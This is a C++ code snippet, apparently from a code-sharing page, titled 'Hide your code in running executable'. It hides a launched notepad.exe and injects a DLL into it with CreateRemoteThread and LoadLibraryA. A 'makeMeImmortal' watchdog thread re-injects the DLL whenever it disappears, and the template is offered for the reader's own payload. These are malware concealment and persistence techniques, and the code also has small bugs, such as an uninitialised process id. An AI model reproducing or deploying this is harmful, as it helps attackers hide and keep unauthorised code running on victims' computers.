Search

Hide your code in running executable (C++)

//Hide your code in running executable
#include "stdafx.h"
#include <windows.h>
#include <Tlhelp32.h>
const char exeMutex[] = "ExeMutex";
const char dllMutex[] = "DllMutex";
const char procesToInject[] = "notepad.exe";
const char dllPatch[] = "C:\\Dll.dll";
void makeMeImmortal()
{
DWORD WINAPI monitorDllProcess(void* nothing);
HANDLE mutex = CreateMutex(NULL, 0, exeMutex);
DWORD ID;
HANDLE hilo = CreateThread(0,0,monitorDllProcess,0,0, &ID);
}
DWORD WINAPI monitorDllProcess(void* nothing)
{
void injectDll(const char *processName);
int getPid(const char *processName);
HANDLE proc;
HANDLE mutex;
for(;;)
{
mutex = OpenMutex(SYNCHRONIZE, false, dllMutex);
if (mutex == NULL)
{
WinExec (procesToInject, SW_HIDE);
injectDll(procesToInject);
}
else
{
int pid = getPid(procesToInject);
if (pid != 0)
{
proc = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
WaitForSingleObject(proc, INFINITE); CloseHandle(proc);
}
}
CloseHandle (mutex);
}
}
void injectDll(const char *processName)
{
int getPid(const char *processName);
int pid = getPid(processName);
HANDLE proceso;
LPVOID RemoteString;
LPVOID nLoadLibrary;
proceso = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
nLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA");
RemoteString = (LPVOID)VirtualAllocEx(proceso,NULL,strlen(dllPatch),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
WriteProcessMemory(proceso,(LPVOID)RemoteString,(void*)dllPatch,strlen(dllPatch),NULL);
CreateRemoteThread(proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
CloseHandle(proceso);
}
int getPid(const char *processName)
{
int pid;
HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 procinfo = { sizeof(PROCESSENTRY32) };
while(Process32Next(handle, &procinfo))
{
if(!strcmp(procinfo.szExeFile, processName))
{
CloseHandle(handle);
pid = procinfo.th32ProcessID;
}
}
CloseHandle(handle);
return pid;
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
void makeMeImmortal();
makeMeImmortal();
//Rest of YOUR code here.
}